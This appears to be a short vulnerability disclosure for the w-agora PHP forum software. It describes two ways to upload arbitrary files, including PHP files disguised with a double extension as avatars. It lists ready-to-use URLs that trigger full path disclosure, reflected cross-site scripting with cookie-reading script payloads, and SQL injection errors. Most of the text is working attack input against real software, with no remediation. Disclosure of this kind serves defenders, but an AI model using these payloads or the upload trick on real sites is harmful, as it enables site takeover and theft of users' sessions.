vendor website: http://www.w-agora.com/
bug: multiples file upload,xss,full path disclosure,error sql
global risk: critical

file upload :
there's actually 2 ways to upload a file  on w-agora :

1)on the forum you can post some attached file with your message and you can upload any kind of file 
then your file will be located here :
site.com/w-agora/forums/hello/hello/notes/  ( hello = name of the forum ) then you can just browse :site.com/w-agora/forums/
to find out where is your file.

2) http://site.com/w-agora/browse_avatar.php?site=hello  ( replace hello , by your forum name. )
with this script you can upload any file with a double extension like : file.php.jpg
the file will be located here : 
http://site.com/w-agora/images/avatars/file.php.jpg


full path:
http://site.com/w-agora/rss.php?site=blablablablabla
http://site.com/w-agora/rss.php?site=agora&bn=blibloubla
http://site.com/w-agora/rss.php?site[]=agora
http://site.com/w-agora/rss.php?site=agora&bn[]=
http://site.com/w-agora/index.php?site[]=hello
http://site.com/w-agora/index.php?site=hello&bn[]=
http://site.com/w-agora/profile.php?site[]=
http://site.com/w-agora/search.php?bn[]=
http://site.com/w-agora/index.php?bn=hello_hello&sort[]=subject
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern[]=1
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date[]=0


xss get : 
http://site.com/w-agora/profile.php?site=hello&showuser='"><script>alert(document.cookie)</script>
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum='"><script>alert(document.cookie)</script>
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum=hello_hello&search_mode=0&search_user='"><script>alert(document.cookie)</script>
http://site.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&passwd=1&site=hello&userid='"><script>alert(document.cookie)</script>


error sql : 
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum='[sql]
http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum=hello_hello&search_mode=0&search_user='[sql]

regards laurent gaffié